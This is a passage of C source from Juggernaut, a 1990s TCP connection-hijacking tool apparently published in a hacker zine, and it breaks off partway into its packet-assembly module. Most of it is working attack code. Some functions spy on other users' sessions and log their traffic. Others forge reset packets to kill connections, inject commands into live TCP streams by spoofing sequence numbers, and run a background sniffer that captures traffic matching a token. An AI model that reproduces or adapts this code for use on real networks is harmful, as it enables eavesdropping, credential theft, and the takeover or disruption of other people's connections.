  4906.  
  4907. #ifdef GREED
  4908.     if(((int)msg=addc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
  4909. #ifdef NOHUSH
  4910.     fprintf(stderr,"%c",7);
  4911. #endif    
  4912.     return;
  4913. #else
  4914.     switch(ntohs(tcphp->dest)){
  4915.         case 21:
  4916.         case 22:
  4917.         case 23:
  4918.         case 25:
  4919.         case 80:
  4920.         case 513:
  4921.         case 6667:
  4922.             if(((int)msg=addc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
  4923. #ifdef NOHUSH
  4924.             fprintf(stderr,"%c",7);
  4925. #endif    
  4926.             return;
  4927.         default:
  4928.             return;
  4929.     }
  4930. #endif
  4931. }
  4932.  
  4933.  
  4934. /*
  4935.  *  delc() wrapper.  Checks connection port number to see if we should even
  4936.  *  bother passing to the delete function which will do a potentially expensive
  4937.  *  linear search...
  4938.  */
  4939.  
  4940. void del(iphp,tcphp)
  4941. struct iphdr *iphp;
  4942. struct tcphdr *tcphp;
  4943. {
  4944.     char *delc(struct iphdr *, struct tcphdr *);
  4945.  
  4946.     char *msg;
  4947.  
  4948. #ifdef GREED
  4949.     if(((int)msg=delc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
  4950.     return;
  4951. #else
  4952.     switch(ntohs(tcphp->dest)){
  4953.         case 21:
  4954.         case 22:
  4955.         case 23:
  4956.         case 25:
  4957.         case 80:
  4958.         case 513:
  4959.         case 6667:
  4960.             if(((int)msg=delc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
  4961.             return;
  4962.         default:
  4963.             return;
  4964.     }
  4965. #endif
  4966. }
  4967.  
  4968.  
  4969. /*
  4970.  *  Spy on a connection.  If the packet captured is from the target connection, 
  4971.  *  call dumpp().  If fp is valid, prepend header/append footer.
  4972.  */
  4973.  
  4974. void cspy(target,fp)
  4975. struct connectionInfo *target;
  4976. FILE *fp;
  4977. {
  4978.  
  4979.     char *hostLookup(unsigned long);
  4980.     void dumpp(char *,int,FILE *);
  4981.  
  4982.     extern int sigsentry;
  4983.     int tlinksock=tap(DEVICE);    /* Spying tap.  XXX- Really dumb way to do this... */
  4984.     time_t tp;
  4985.  
  4986.     ALIGNNETPOINTERS();
  4987.     
  4988.     fprintf(stderr,"Spying on connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));
  4989.     if(fp){
  4990.         fprintf(fp,"---------------------------------------------------------------------\n: Juggernaut connection spy log header\n: %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup(target->daddr),ntohs(target->dport));
  4991.         time(&tp);
  4992.         fprintf(fp,": Log started:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
  4993.     }
  4994.             /* NO alaram timeout here.  SIGINT kills our spy session */
  4995.     while(sigsentry)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP)if(iphp->saddr==target->daddr&&tcphp->source==target->dport)dumpp(epack.payload-2,htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp),fp);
  4996.     
  4997.     if(fp){
  4998.         fprintf(fp,"\n---------------------------------------------------------------------\n: Juggernaut connection spy log trailer\n: %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup(target->daddr),ntohs(target->dport)
  4999.  
  5000.  
  5001.  
  5002.  
  5003.  
  5004.  
  5005.  
  5006.  
  5007.  
  5008. );
  5009.         time(&tp);
  5010.         fprintf(fp,": Log ended:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
  5011.     }
  5012.     close(tlinksock);
  5013. }
  5014.  
  5015.  
  5016. /*
  5017.  *  Dumps the payload.  Dump to file if we have a valid FP.
  5018.  */
  5019.  
  5020. void dumpp(payload,length,fp)
  5021. char *payload;
  5022. int length;
  5023. FILE *fp;
  5024. {
  5025.     register int tickytacky=0;
  5026.  
  5027.     for(;tickytacky<length;tickytacky++){
  5028.         fprintf(stderr,"%c",payload[tickytacky]);
  5029.     if(fp)fprintf(fp,"%c",payload[tickytacky]);
  5030.     }
  5031.     
  5032. }
  5033.  
  5034.  
  5035. /*
  5036.  *  RST both ends of a connection.  Listen for the client to send a packet so 
  5037.  *  we know where the seq/ack #s are and then spoof 10 RSTs to the client which
  5038.  *  will then send a RST to the other end when it recieves the legitimate
  5039.  *  response packet.
  5040.  */
  5041.  
  5042. void crst(target)
  5043. struct connectionInfo *target;
  5044. {
  5045.  
  5046.     void nettimeout();
  5047.     char *hostLookup(unsigned long);
  5048.     unsigned short in_cksum(unsigned short *,int);
  5049.  
  5050.     char *tempBuf=0;
  5051.     extern int ripsock;    
  5052.     extern int netreadtimeout;
  5053.  
  5054.     struct sockaddr_in sin;         
  5055.     
  5056.     struct tpack{               /* Generic TCP packet w/o payload */
  5057.         struct iphdr ip;
  5058.         struct tcphdr tcp;
  5059.     }tpack;
  5060.  
  5061.     struct psuedoHeader{
  5062.         unsigned long saddr;
  5063.         unsigned long daddr;
  5064.         unsigned char null;
  5065.         unsigned char prot;
  5066.         unsigned short tlen;
  5067.     }*ppheader;
  5068.          
  5069.     static int moot=0;
  5070.     int tlinksock=tap(DEVICE);
  5071.  
  5072.     ALIGNNETPOINTERS();
  5073.  
  5074.     sin.sin_family=AF_INET;     /* Preload these values.  All we are really 
  5075.                                    waiting for are the seq/ack #s */
  5076.     sin.sin_port=target->dport;     
  5077.     sin.sin_addr.s_addr=target->saddr;
  5078.  
  5079.     bzero(&tpack,sizeof(tpack));    /* Zero out these structures so I dunot 
  5080.                                        have to assign 0's to the unused
  5081.                                        areas... */
  5082.     bzero(&ppheader,sizeof(ppheader));             
  5083.  
  5084.     tpack.tcp.source=target->dport;        /* 16-bit Source port number */
  5085.     tpack.tcp.dest=target->sport;           /* 16-bit Destination port */
  5086.     tpack.tcp.doff=5;                       /* Data offset */
  5087.     tpack.tcp.ack=1;                        /* Acknowledgement field valid flag */
  5088.     tpack.tcp.rst=1;                        /* Reset flag */
  5089.     tpack.tcp.window=htons(242);           /* 16-bit Window size */
  5090.  
  5091.     tpack.ip.version=4;                     /* 4-bit Version */
  5092.     tpack.ip.ihl=5;                         /* 4-bit Header Length */
  5093.     tpack.ip.tot_len=htons(IPHDR+TCPHDR);   /* 16-bit Total length */
  5094.     tpack.ip.ttl=64;                        /* 8-bit Time To Live */
  5095.     tpack.ip.protocol=IPPROTO_TCP;          /* 8-bit Protocol */
  5096.  
  5097.     tpack.ip.saddr=target->daddr;             /* 32-bit Source Address */
  5098.     tpack.ip.daddr=target->saddr;             /* 32-bit Destination Address */
  5099.  
  5100.     tempBuf=(char *)malloc(PHDR+TCPHDR);    /* Checksum stuff */
  5101.     ppheader=(struct psuedoHeader *)tempBuf;
  5102.     
  5103.     ppheader->saddr=tpack.ip.saddr;
  5104.     ppheader->daddr=tpack.ip.daddr;
  5105.     ppheader->prot=IPPROTO_TCP;
  5106.     ppheader->null=0;
  5107.     ppheader->tlen=htons(TCPHDR);
  5108.  
  5109.     fprintf(stderr,"Reseting connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));
  5110.  
  5111.     if(setjmp(env)){                /* Timeout */
  5112.         if(verbosity)fprintf(stderr,"Quiet connection, not reset. [soft error, returning]\n");
  5113.     return;
  5114.     }
  5115.     signal(SIGALRM,nettimeout);
  5116.     alarm(netreadtimeout);                  /* Wait 10 seconds for reply */
  5117.  
  5118.     while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->saddr&&tcphp->source==target->sport){
  5119.  
  5120.         for(;moot<RSTS;moot++){                /* Send RSTs, incrementing 
  5121.                                                 seqs and acks as we go */
  5122.             tpack.tcp.seq=tcphp->ack_seq+(htonl(moot));
  5123.             tpack.tcp.ack_seq=tcphp->seq+(htonl(moot));
  5124.  
  5125.             bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR);
  5126.             tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR);
  5127.  
  5128.         sendto(ripsock,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin));
  5129.         }
  5130.     alarm(0);
  5131.  
  5132.         /*free(tempBuf);    XXX */
  5133.     fprintf(stderr,"Connection torn down.\n");
  5134.         close(tlinksock);
  5135.     break;
  5136.     }
  5137. }
  5138.  
  5139.  
  5140. /*
  5141.  *  Sets up automated connection reseting.  A source and possibly a 
  5142.  *  destination host are targeted for reseting.  This function will kill any 
  5143.  *  connection attempts from the source (and possibly to a destination).
  5144.  */
  5145.  
  5146. void acrst(source,target)
  5147. unsigned long source, target;
  5148. {
  5149.  
  5150.     char *hostLookup(unsigned long);
  5151.     unsigned short in_cksum(unsigned short *,int);
  5152.     void spasm();               /* Handles the user defined signal */
  5153.  
  5154.     struct tpack{                               
  5155.         struct iphdr ip;
  5156.         struct tcphdr tcp;
  5157.     }tpack;
  5158.  
  5159.     struct psuedoHeader{
  5160.         unsigned long saddr;
  5161.         unsigned long daddr;
  5162.         unsigned char null;
  5163.         unsigned char prot;
  5164.         unsigned short tlen;
  5165.     }*ppheader;
  5166.         
  5167.     struct sockaddr_in sin;
  5168.     
  5169.     int moot=0;
  5170.     extern int ripsock;    
  5171.     extern int acrstpid;
  5172.     char *tempBuf=0;
  5173.     int tlinksock=tap(DEVICE);
  5174.  
  5175.     switch((acrstpid=fork())){     /* Drop a child to backround, return the 
  5176.                                    parent to continue */
  5177.         case 0:                 /* Set the priority up a few notchs..  
  5178.                                    I get better results */
  5179.             if(setpriority(PRIO_PROCESS,0,-20)){
  5180.             if(verbosity)perror("acrst module (setpriority)");
  5181.                 fprintf(stderr,"[cr]");
  5182.                 getchar();
  5183.             }
  5184.             signal(SIGUSR1,spasm);  /* Keep track of the child and register
  5185.                                        it with the cleanup signal handler */
  5186.             signal(SIGINT,SIG_IGN);         
  5187.             signal(SIGQUIT,SIG_IGN);
  5188.             break;
  5189.         default:
  5190.             return;                          
  5191.         case -1:
  5192.             if(verbosity)perror("acrst module Internal forking error [fatal]");
  5193.             exit(1);
  5194.     }
  5195.  
  5196.     ALIGNNETPOINTERS();
  5197.                                  /* Preload these values. */
  5198.     sin.sin_family=AF_INET;
  5199.            
  5200.     bzero(&tpack,sizeof(tpack));
  5201.     bzero(&ppheader,sizeof(ppheader)); 
  5202.   
  5203.     tpack.tcp.doff=5;   
  5204.     tpack.tcp.ack=1;
  5205.     tpack.tcp.rst=1;
  5206.     tpack.tcp.window=htons(242);    
  5207.  
  5208.     tpack.ip.version=4; 
  5209.     tpack.ip.ihl=5;
  5210.     tpack.ip.tot_len=htons(IPHDR+TCPHDR); 
  5211.     tpack.ip.ttl=64;
  5212.     tpack.ip.protocol=IPPROTO_TCP; 
  5213.  
  5214.     tempBuf=(char *)malloc(PHDR+TCPHDR);
  5215.     ppheader=(struct psuedoHeader *)tempBuf;
  5216.  
  5217.     ppheader->null=0;
  5218.     ppheader->prot=IPPROTO_TCP;
  5219.     ppheader->tlen=htons(TCPHDR);
  5220.      
  5221.     while(1){
  5222.         if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&tcphp->syn&&iphp->saddr==source){
  5223.             if(target)if(iphp->daddr!=target)continue;
  5224.  
  5225.             sin.sin_port=tcphp->dest;     
  5226.             sin.sin_addr.s_addr=iphp->saddr;
  5227.    
  5228.             tpack.tcp.source=tcphp->dest;
  5229.             tpack.tcp.dest=tcphp->source;
  5230.  
  5231.             for(moot=1;moot<RSTS+1;moot++){     /* Send RSTs, incrementing 
  5232.                                                acks as we go */
  5233.  
  5234.                 tpack.tcp.ack_seq=tcphp->seq+(htonl(moot));
  5235.  
  5236.                 tpack.tcp.check=0;                      
  5237.                 tpack.ip.saddr=iphp->daddr; 
  5238.                 tpack.ip.daddr=iphp->saddr;  
  5239.                 tpack.ip.check=0;   
  5240.     
  5241.                 ppheader->saddr=tpack.ip.saddr;    
  5242.                 ppheader->daddr=tpack.ip.daddr;
  5243.  
  5244.                 bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR);
  5245.                 tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR);
  5246.  
  5247.             sendto(ripsock,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin));
  5248.                 fprintf(stderr,"%c-%c*",0x08,0x08);
  5249.             }
  5250.         }
  5251.     }
  5252. }
  5253.  
  5254. /*
  5255.  *  Simplex-hijack.  Really just inserts a command into the TCP stream.  This 
  5256.  *  will totally desynch the connection however and cause two things to happen:
  5257.  *  1) an ACK storm of epic proportions (maybe not, see accompanying paper) and
  5258.  *  2) the target user will have her connection destroyed.  To alleviate the 
  5259.  *  first problem, we simply reset the connection shortly after we hijack it. 
  5260.  *  The second problem is a burden with this kind of hijacking.
  5261.  */
  5262.  
  5263. void csimplexhijack(target,commandbuf)
  5264. struct connectionInfo *target;
  5265. char *commandbuf;
  5266. {
  5267.  
  5268.     void nettimeout();
  5269.     char *hostLookup(unsigned long);
  5270.     unsigned short in_cksum(unsigned short *,int);
  5271.  
  5272.     struct tpack{                   /* Generic TCP packet */
  5273.         struct iphdr ip;
  5274.         struct tcphdr tcp;
  5275.         char payload[BUFSIZE];
  5276.     }tpack;
  5277.    
  5278.    struct psuedoHeader{
  5279.         unsigned long saddr;
  5280.         unsigned long daddr;
  5281.         unsigned char null;
  5282.         unsigned char prot;
  5283.         unsigned short tlen;
  5284.     }*ppheader;
  5285.   
  5286.     struct sockaddr_in sin;         
  5287.  
  5288.     extern int ripsock;    
  5289.     extern int netreadtimeout;
  5290.     static int len;
  5291.     char *tempBuf;
  5292.     int tlinksock=tap(DEVICE);
  5293.  
  5294.     ALIGNNETPOINTERS();
  5295.  
  5296.     bzero(&tpack,sizeof(tpack));
  5297.  
  5298.     len=strlen(commandbuf)+1;            
  5299.     bcopy(commandbuf,tpack.payload,len--);
  5300.     sin.sin_family=AF_INET;
  5301.     sin.sin_port=target->sport;     
  5302.     sin.sin_addr.s_addr=target->daddr;
  5303.  
  5304.     tpack.tcp.source=target->sport;
  5305.     tpack.tcp.dest=target->dport;
  5306.     tpack.tcp.doff=5;
  5307.     tpack.tcp.ack=1;
  5308.     tpack.tcp.psh=1; 
  5309.     tpack.tcp.window=htons(242); 
  5310.  
  5311.     tpack.ip.version=4;   
  5312.     tpack.ip.ihl=5; 
  5313.     tpack.ip.tot_len=htons(IPHDR+TCPHDR+len);    
  5314.     tpack.ip.ttl=64;
  5315.     tpack.ip.protocol=IPPROTO_TCP; 
  5316.  
  5317.     tpack.ip.saddr=target->saddr; 
  5318.     tpack.ip.daddr=target->daddr; 
  5319.  
  5320.     tempBuf=(char *)malloc(PHDR+TCPHDR+len);    /* Check me out y0 */
  5321.     ppheader=(struct psuedoHeader *)tempBuf;
  5322.  
  5323.  
  5324.     ppheader->saddr=tpack.ip.saddr;
  5325.     ppheader->daddr=tpack.ip.daddr;
  5326.     ppheader->null=0;
  5327.     ppheader->prot=IPPROTO_TCP;
  5328.     ppheader->tlen=htons(TCPHDR+len);
  5329.  
  5330.     fprintf(stderr,"(simplex) Hijacking connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));
  5331.  
  5332.     if(setjmp(env)){                            /* Timeout */
  5333.         if(verbosity)fprintf(stderr,"Quiet connection, try again later. [soft error, returning]\n");
  5334.         return;
  5335.     }
  5336.     signal(SIGALRM,nettimeout);
  5337.     alarm(0);
  5338.     alarm(netreadtimeout);                      /* Wait 10 seconds for reply */
  5339.  
  5340.     while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->daddr&&tcphp->source==target->dport){
  5341.         tpack.tcp.seq=tcphp->ack_seq;
  5342.         tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1);   
  5343.  
  5344.         bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len);
  5345.         tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len);
  5346.  
  5347.     sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin));
  5348.  
  5349.     fprintf(stderr,"Command inserted, connection desynched.\n");
  5350.     sleep(JCKRST);            /* Don't reset the connection too quickly, or 
  5351.                                    our command may not complete */
  5352.     crst(target);
  5353.         close(tlinksock);
  5354.         /* free(tempBuf);      XXX */
  5355.     break;
  5356.     }
  5357. }
  5358.  
  5359. /*
  5360.  *  Hijack.  Desynchs the server from the client.  The resulting ACK storm 
  5361.  *  makes things very difficult.
  5362.  */
  5363.  
  5364. void chijack(target)
  5365. struct connectionInfo *target;
  5366. {
  5367.  
  5368.     void nettimeout();
  5369.     void seizure();
  5370.     char *hostLookup(unsigned long);
  5371.     unsigned short in_cksum(unsigned short *,int);
  5372.    
  5373.  
  5374.     struct tpack{
  5375.         struct iphdr ip;
  5376.         struct tcphdr tcp;
  5377.         char payload[2*BUFSIZE];
  5378.     }tpack;
  5379.  
  5380.     struct psuedoHeader{
  5381.         unsigned long saddr;
  5382.         unsigned long daddr;
  5383.         unsigned char null;
  5384.         unsigned char prot;
  5385.         unsigned short tlen;
  5386.     }*ppheader;                
  5387.  
  5388.     struct sockaddr_in sin;
  5389.  
  5390.     char buf[10*MINIBUF];
  5391.     char *tempBuf=0;
  5392.  
  5393.     extern int ripsock;    
  5394.     extern int netreadtimeout;
  5395.     extern int sigsentry;
  5396.     static int len;
  5397.     int tlinksock=tap(DEVICE);            
  5398.     
  5399.     ALIGNNETPOINTERS();
  5400.  
  5401.     bzero(&tpack,sizeof(tpack));
  5402.  
  5403.     sin.sin_family=AF_INET;
  5404.     sin.sin_port=target->sport;     
  5405.     sin.sin_addr.s_addr=target->daddr;
  5406.  
  5407.     tpack.tcp.source=target->sport;
  5408.     tpack.tcp.dest=target->dport;
  5409.     tpack.tcp.doff=5;
  5410.     tpack.tcp.ack=1;
  5411.     tpack.tcp.psh=1;
  5412.     tpack.tcp.window=htons(1024);
  5413.  
  5414.     tpack.ip.version=4;
  5415.     tpack.ip.ihl=5; 
  5416.     tpack.ip.ttl=64; 
  5417.     tpack.ip.protocol=IPPROTO_TCP;
  5418.  
  5419.     tpack.ip.saddr=target->saddr; 
  5420.     tpack.ip.daddr=target->daddr;
  5421.  
  5422.     tempBuf=(char *)malloc(PHDR+TCPHDR+len);
  5423.     ppheader=(struct psuedoHeader *)tempBuf;
  5424.  
  5425.     ppheader->saddr=tpack.ip.saddr;
  5426.     ppheader->daddr=tpack.ip.daddr;
  5427.     ppheader->null=0;
  5428.     ppheader->prot=IPPROTO_TCP;
  5429.  
  5430.     signal(SIGINT,seizure);
  5431.  
  5432.     fprintf(stderr,"Hijacking connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));
  5433.     fprintf(stderr,"'ctrl-c' when you are finished (this will RST the connection).\n"); 
  5434.     fprintf(stderr,"juggernaut>");
  5435.  
  5436.     fgets(buf,sizeof(buf),stdin);
  5437.  
  5438.     len=strlen(buf)+1;            
  5439.     bcopy(buf,tpack.payload,len--);
  5440.  
  5441.     tpack.ip.tot_len=htons(IPHDR+TCPHDR+len);        
  5442.     ppheader->tlen=htons(TCPHDR+len);
  5443.  
  5444.     if(setjmp(env)){
  5445.         if(verbosity)fprintf(stderr,"Quiet connection, try again later. [soft error, returning]\n");
  5446.         return;
  5447.     }
  5448.     signal(SIGALRM,nettimeout);
  5449.     alarm(0);
  5450.     alarm(netreadtimeout);  
  5451.                             /* Here we setup the initial hijack state.  We 
  5452.                                need to desynch the connection, and the next 
  5453.                                packet that comes by will be the catalyst. */
  5454.     while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->daddr&&tcphp->source==target->dport){
  5455.         tpack.tcp.seq=tcphp->ack_seq;
  5456.         tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1);   
  5457.  
  5458.         bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len);
  5459.         tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len);
  5460.     
  5461.     sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin));
  5462.     break;              
  5463.     }                   
  5464.                             
  5465.     alarm(0);
  5466.     while(sigsentry){                               /* Main hijack loop */
  5467.     if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->daddr&&tcphp->source==target->dport){
  5468.         if(!tcphp->psh)continue;        /* If this is not data, ignore it */
  5469.             dumpp(epack.payload-2,htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp),0);
  5470.  
  5471.             bzero(&buf,sizeof(buf));
  5472.         fgets(buf,sizeof(buf),stdin);
  5473.             
  5474.             if(!buf[1])continue;        /* No input data (CR) */ 
  5475.  
  5476.         len=strlen(buf)+1;            
  5477.         bcopy(buf,tpack.payload,len--);
  5478.             tpack.tcp.psh=1;
  5479.             tpack.tcp.check=0;                              
  5480.             tpack.ip.check=0; 
  5481.  
  5482.             tpack.ip.tot_len=htons(IPHDR+TCPHDR+len); 
  5483.  
  5484.             tpack.tcp.seq=tcphp->ack_seq;
  5485.             tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1);   
  5486.  
  5487.             ppheader->tlen=htons(TCPHDR+len);         
  5488.             bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len);
  5489.             tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len);
  5490.  
  5491.         sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin));
  5492.         }
  5493.     }
  5494.     crst(target);
  5495.     /*free(tempBuf);        XXX */
  5496.     close(tlinksock);
  5497. }
  5498.  
  5499.  
  5500. /*
  5501.  *  Packet sniffer parses TCP packets for token.  Logs that packet, along with
  5502.  *  the next 'enticement` number of packets.  Not really all that robust.
  5503.  */
  5504.  
  5505. void bloodhound(token,enticementfactor)
  5506. char *token;
  5507. int enticementfactor;
  5508. {
  5509.  
  5510.     void parsep(char *,int,FILE *);
  5511.     void shadow();
  5512.     char *hostLookup(unsigned long);
  5513.  
  5514.     FILE *fp=0;                         
  5515.     time_t tp=0;
  5516.  
  5517.     int length=0;
  5518.     int grabflag=0;                     /* Time to grab some packets */
  5519.     unsigned long targetsourceip=0;
  5520.     unsigned short targetsourceport=0;
  5521.     int tlinksock=tap(DEVICE);          
  5522.  
  5523.     if(!(fp=fopen(SNIFLOG,"a+"))){      /* Log to file */
  5524.         if(verbosity){
  5525.             fprintf(stderr,"Cannot open file for logging. [fatal]\n");
  5526.             fprintf(stderr,"[cr]");
  5527.         }
  5528.         exit(0);
  5529.     }
  5530.  
  5531.     ALIGNNETPOINTERS();
  5532.  
  5533.     fprintf(stderr,"\nDropping to background, sniffing for smarmy tidbits...\n");
  5534.  
  5535.     shadow();                           /* Dropped to the background */
  5536.     fprintf(stderr,"\nSend a SIGKILL to %d when you are thorugh.\n",getpid());
  5537.  
  5538.     fprintf(fp,"\n---------------------------------------------------------------------\n[ Juggernaut bloodhound module log: token == '%s' ]\n",token);
  5539.     time(&tp);
  5540.     fprintf(fp,"[ Log started:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
  5541.     fflush(fp);
  5542.     
  5543.     while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP){
  5544.         length=htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp);
  5545.  
  5546.         if((!grabflag)&&(strstr((epack.payload-2),token))){   
  5547.             grabflag=enticementfactor;                           
  5548.             targetsourceip=iphp->saddr;                          
  5549.             targetsourceport=tcphp->source;
  5550.             fprintf(fp,"\n\t %s [%d]\t<-->\t %s [%d]\n",hostLookup(iphp->saddr),ntohs(tcphp->source),hostLookup(iphp->daddr),ntohs(tcphp->dest));
  5551.             parsep(epack.payload-2,length,fp);
  5552.         }                
  5553.         if(grabflag){                   /* We have a session marked and are
  5554.                                            logging it */
  5555.             if(iphp->daddr==targetsourceip&&tcphp->dest==targetsourceport){
  5556.                 parsep(epack.payload-2,length,fp);
  5557.                 grabflag--;
  5558.             }
  5559.         }        
  5560.     }
  5561.     /* NOTREACHED */
  5562. }
  5563.  
  5564.  
  5565. /* 
  5566.  *  Packet parser.  Print the packet out...
  5567.  */
  5568.  
  5569. void parsep(payload,length,fp)
  5570. char *payload;
  5571. int length;
  5572. FILE *fp;
  5573. {
  5574.     register int tickytacky=0;
  5575.  
  5576.     for(tickytacky=0;tickytacky<length;tickytacky++){
  5577.         if(payload[tickytacky]==0xd){        /* newline characater */
  5578.             fprintf(fp,"\n");
  5579.             continue;
  5580.         }
  5581.         if(isprint(payload[tickytacky]))fprintf(fp,"%c",payload[tickytacky]);
  5582.     }
  5583.     fflush(fp);
  5584. }
  5585.  
  5586.  
  5587. /*
  5588.  *  Handles network timeouts.
  5589.  */
  5590.  
  5591. void nettimeout(){
  5592.  
  5593.     alarm(0);
  5594.     longjmp(env,1);
  5595. }
  5596. <-->
  5597. <++> Juggernaut/NumberOneCrush/prometheus.c
  5598. /*
  5599.  *
  5600.  *                                  Juggernaut
  5601.  *                                  Version b2
  5602.  *
  5603.  *                            1996/7 Guild productions
  5604.  *                           daemon9[guild|phrack|r00t]
  5605.  *
  5606.  *                         comments to route@infonexus.com
  5607.  *
  5608.  *  This coding project made possible by a grant from the Guild corporation
  5609.  * 
  5610.  *  prometheus.c - the packet assemby workshop module.  Each of the main 
  5611.  *  packet assembly subfunctions will end up calling the ip assembler to build
  5612.  *  the IP portion and send it (them) out.
  5613.  *
  5614.  *  Too many dependencies in menu.c 
  5615.  *
  5616.  *  Shout out to Nirva for some suggestions/help.  Nirva rules, BTW.  I love 
  5617.  *  Nirva.  You should too.
  5618.  *
  5619.  */
  5620.  
  5621.  
  5622. #include <stdio.h>
  5623. #include <string.h>
  5624. #include <stdlib.h>
  5625. #include <time.h>
  5626. #include <netinet/in.h>
  5627. #include <unistd.h>
  5628. #include <arpa/inet.h>
  5629. #include <netdb.h>
  5630. #include <arpa/inet.h>
  5631. #include <sys/types.h>
  5632. #include <sys/stat.h>
  5633. #include <fcntl.h>
  5634. #include <linux/socket.h>
  5635. #include <linux/ip.h>
  5636. #include <linux/tcp.h>
  5637. #include <linux/udp.h>
  5638. #include <linux/icmp.h>
  5639. #include <linux/if_ether.h>
  5640. #include <linux/if.h>
  5641.  
  5642. #define MINIBUF     10  
  5643. #define BUFSIZE     512
  5644. #define ETHHDR      14
  5645. #define PHDR        12
  5646. #define TCPHDR      20
  5647. #define UDPHDR      8
  5648. #define IPHDR       20
  5649.  
  5650. #define NOTRANSPORT     0x00
  5651. #define TCPTRANSPORT    0x01
  5652. #define UDPTRANSPORT    0x02
  5653. #define ICMPTRANSPORT   0x04
  5654.  
  5655. struct tpak{            /* TCP packet */
  5656.     struct tcphdr tcp;
  5657.     char payload[BUFSIZE];
  5658. }tpack;
  5659.  
  5660. struct upak{            /* UDP packet */
  5661.     struct udphdr udp;
  5662.     char payload[BUFSIZE];
  5663. }upack;
  5664.  
  5665. struct ipak{            /* ICMP packet */
  5666.     struct icmphdr icmp;
  5667.     char payload[BUFSIZE];
  5668. }ipack;
  5669.  
  5670. struct rippak{             /* IP packet */
  5671.     struct iphdr ip;
  5672.     char payload[BUFSIZE+20];   /* Payload + transport header */
  5673. }rippack;
  5674.  
  5675. int woe;                        /* Global var to let us know where to return 
  5676.                                    to... */
  5677. extern int verbosity;
  5678.  
  5679.                 /* This will change when IP/TCP options are 
  5680.                                    implemented... */
  5681. #define RIPPACKETSIZE 552    /* IP header + transport header of up to 20 
  5682.                                    bytes + 512 byte payload */
  5683.  
  5684. int prometheus(type)
  5685. int type;
  5686. {
  5687.     void tcpa();
  5688.     void udpa();
  5689.     void icmpa();
  5690.     void igmpa();
  5691.     void ripa(int);
  5692.  
  5693.     bzero(&rippack,sizeof(rippack));
  5694.     woe=0;
  5695.  
  5696.     switch(type){
  5697.         case 1:
  5698.         tcpa();        /* TCP */
  5699.         break;
  5700.     case 2:
  5701.         udpa();        /* UDP */
  5702.         break;
  5703.     case 3:                
  5704.         icmpa();        /* ICMP */
  5705.         break;
  5706.     case 4:
  5707.         ripa(NOTRANSPORT);    /* RAW IP with no transport and no payload */    
  5708.         break;
  5709.     case 5:
  5710.         return(woe=1);      /* Done assembling packets */
  5711.     default:
  5712.         break;              /* bad input -- not done */            
  5713.     }
  5714.     return(woe);
  5715. }
  5716.  
  5717.  
  5718. /* 
  5719.  *  TCP assembler
  5720.  */
  5721.  
  5722. void tcpa(){
  5723.  
  5724.     void ripa(int);
  5725.     void mwipe();
  5726.     void mpktatcp(int,unsigned short,unsigned short,unsigned long,unsigned long,char *,unsigned short,char *);
  5727.  
  5728.     char buf[2*MINIBUF];
  5729.     unsigned long val;
  5730.     int packetready=0;        /* flag bits */
  5731.     char data[4*MINIBUF]={0},flags[MINIBUF]={0},filename[4*MINIBUF]={0};
  5732.     int i,j,fd,loopsentry=1;
  5733.  
  5734.     bzero(&tpack,sizeof(tpack));
  5735.  
  5736.     srandom((unsigned)time(0)); /* seed psuedo random number generator */ 
  5737.  
